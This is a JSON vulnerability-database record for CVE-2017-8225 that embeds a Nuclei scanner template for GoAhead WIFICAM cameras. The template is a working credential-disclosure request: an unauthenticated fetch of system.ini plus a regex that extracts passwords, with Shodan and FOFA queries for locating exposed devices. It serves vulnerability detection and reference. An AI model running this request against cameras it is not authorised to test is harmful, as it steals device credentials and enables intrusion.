{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2017-8225/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2017-8225/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2017-8225/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2017-8225/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2017-8225/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2017-8225"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2017-8225"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2017/CVE-2017-8225.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2017-8225\n\ninfo:\n  name: GoAhead Camera - Credential Disclosure\n  author: K3ysTr0K3R\n  severity: critical\n  description: |\n    GoAhead camera credential disclosure vulnerability in system.ini. The vulnerability affects certain Wireless IP Camera (P2P) WIFICAM devices and allows unauthenticated remote attackers to access the system.ini configuration file through a crafted HTTP request. The exposed configuration may contain sensitive authentication credentials, including usernames and passwords.\n  impact: |\n    Successful exploitation can disclose camera authentication credentials to an unauthenticated remote attacker, potentially allowing unauthorized access to the affected device.\n  remediation: |\n    Update affected camera firmware to the latest available version. Where firmware updates are unavailable, restrict access to the camera's HTTP interface and avoid exposing the device directly to untrusted networks.\n  reference:\n    - https://github.com/K3ysTr0K3R/CVE-2017-8225-EXPLOIT\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8225\n  classification:\n    cve-id: CVE-2017-8225\n    epss-score: 0.35359\n    epss-percentile: 0.98453\n    cwe-id: CWE-200\n    cvss-score: 9.8\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: \"GoAhead-Webs\"\n    fofa-query: \"GoAhead-Webs\"\n  tags: cve,cve2017,goahead,credentials,camera,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/system.ini?loginuse&loginpas\"\n\n    matchers-condition: and\n    matchers:\n      - type: status\n        status:\n          - 200\n\n      - type: word\n        part: body\n        words:\n          - \"<html\"\n        negative: true\n\n      - type: word\n        part: content_type\n        words:\n          - \"text/plain\"\n\n      - type: regex\n        part: body\n        regex:\n          - '[a-zA-Z0-9]{0,10}(admin|user|guest|root|operator|supervisor|tech|service|manager|default|demo|666666|888888)[a-zA-Z0-9]{0,10}'\n\n    extractors:\n      - type: regex\n        part: body\n        name: password\n        group: 1\n        regex:\n          - '(?:[a-zA-Z0-9]{0,10}(?:admin|user|guest|root|operator|supervisor|tech|service|manager|default|demo|666666|888888)[a-zA-Z0-9]{0,10}).{20}([ -~]{1,31})'\n# digest: 4a0a00473045022041b4d97506f9fdb4a3bbd2ad53ac4963a88cdaf0836e3186e53038411d38ef92022100c5a7391eca26fcf6ea94ecd1f82a3f2d1ab0a8848492e37b428c7da1807aa5dc:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2017-8225"
}